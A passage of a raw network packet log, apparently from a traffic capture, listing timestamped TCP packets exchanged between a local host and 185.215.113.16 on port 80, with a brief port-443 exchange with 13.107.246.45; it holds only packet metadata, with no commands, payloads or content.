Nov 21, 2024 07:10:20.257582903 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.257719040 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.257761955 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.258613110 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.258657932 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.258699894 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.258821964 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.259715080 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.259819031 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.259831905 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.259871006 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.260798931 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.260843039 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.260871887 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.260910034 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.261831045 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.261874914 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.261913061 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.262015104 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.262850046 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.262891054 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.262989044 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.263056993 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.263875961 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.263916016 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.263956070 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.264004946 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.264961958 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.265000105 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.265096903 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.265134096 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.266010046 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.266053915 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.266122103 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.266208887 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.267050028 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.267107010 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.267153978 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.267251968 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.268106937 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.268153906 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.268276930 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.268321991 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.269145966 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.269197941 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.269289970 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.269371986 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.270215034 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.270255089 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.270354986 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.270528078 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.271274090 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.271327972 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.271377087 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.271414995 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.272320986 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.272413969 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.272419930 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.272453070 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.273400068 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.273444891 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.273515940 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.273631096 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.274425030 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.274466991 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.274537086 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.274610996 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.275470972 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.275521040 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.275595903 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.275635958 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.276526928 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.276576042 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.276632071 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.276717901 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.277574062 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.277623892 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.277693987 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.277744055 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.278645039 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.278701067 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.278805017 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.278949022 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.380404949 CET	443	49788	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:20.380938053 CET	49788	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:20.380955935 CET	443	49788	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:20.381402016 CET	49788	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:20.381407022 CET	443	49788	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:20.402997971 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.403018951 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.403065920 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.403378010 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.403428078 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.403492928 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.403532028 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.404228926 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.404294014 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.404349089 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.404493093 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.405081034 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.405139923 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.405175924 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.405225992 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.406080961 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.406136990 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.406258106 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.406301975 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.406837940 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.406879902 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.406985044 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.407021999 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.407701015 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.407749891 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.407896996 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.407938004 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.408593893 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.408694029 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.408718109 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.408787966 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.409470081 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.409518003 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.409575939 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.409612894 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.410384893 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.410430908 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.410461903 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.410502911 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.411235094 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.411290884 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.411329031 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.411426067 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.412111998 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.412156105 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.412254095 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.412422895 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.413007975 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.413054943 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.413139105 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.413187027 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.413842916 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.413963079 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.413968086 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.414000988 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.414731979 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.414782047 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.414851904 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.414895058 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.415612936 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.415658951 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.415735006 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.415822983 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.416498899 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.416563988 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.416644096 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.416939020 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.417382956 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.417507887 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.417586088 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.418248892 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.418288946 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.418359995 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.418406963 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.419121027 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.419215918 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.419275999 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.420018911 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.420070887 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.420078993 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.420121908 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.420876980 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.420938015 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.420979977 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.421024084 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.421787024 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.421880960 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.421928883 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.422631979 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.422682047 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.422732115 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.422780037 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.423510075 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.423603058 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.423648119 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.424385071 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.424463034 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.424499035 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.424544096 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.425283909 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.425332069 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.425379038 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.425424099 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.426192045 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.426239014 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.426289082 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.426332951 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.427046061 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.427093983 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.427165031 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.427202940 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.427892923 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.427943945 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.428020000 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.428065062 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.428782940 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.428832054 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.428888083 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.428932905 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.429750919 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.429920912 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.429972887 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.430633068 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.430689096 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.430787086 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.430834055 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.431459904 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.431516886 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.431648016 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.431693077 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.432377100 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.432427883 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.432465076 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.432499886 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.433202028 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.433363914 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.433408022 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.434079885 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.434241056 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.434267044 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.434284925 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.434925079 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.434977055 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.435049057 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.435161114 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.435811043 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.435861111 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.435920000 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.436217070 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.436706066 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.436852932 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.436897993 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.437546968 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.437604904 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.437664986 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.437710047 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.438437939 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.438486099 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.438493967 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.438533068 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.439294100 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.439348936 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.439409971 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.439454079 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.440314054 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.440392017 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.440444946 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.441104889 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.441184998 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.441210032 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.441241980 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.441993952 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.442049980 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.442117929 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.442169905 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.442863941 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.442924976 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.443010092 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.443063974 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.443754911 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.443885088 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.443927050 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.443943977 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.444612026 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.444674015 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.444693089 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.444742918 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.445517063 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.445569038 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.445632935 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.445682049 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.446393013 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.446449041 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.446480989 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.446500063 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.447299957 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.447369099 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.447510004 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.447568893 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.448156118 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.448214054 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.448273897 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.448425055 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.449244976 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.449306011 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.604258060 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.604322910 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.604374886 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.604418993 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.604708910 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.604840994 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.604893923 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.605547905 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.605602980 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.605695009 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.605863094 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.606369972 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.606436968 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.606503963 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.606620073 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.607414961 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.607471943 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.607589960 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.607635021 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.608153105 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.608372927 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.608422995 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.609029055 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.609119892 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.609127045 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.609175920 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.609910011 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.609966040 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.610021114 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.610064983 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.610800982 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.610852003 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.610898972 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.610944986 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.611654997 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.611704111 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.611833096 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.612041950 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.612724066 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.612771988 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.612838030 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.612890959 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.613437891 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.613487959 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.613538980 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.613656044 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.614259005 CET	80	49787	185.215.113.16	192.168.2.4
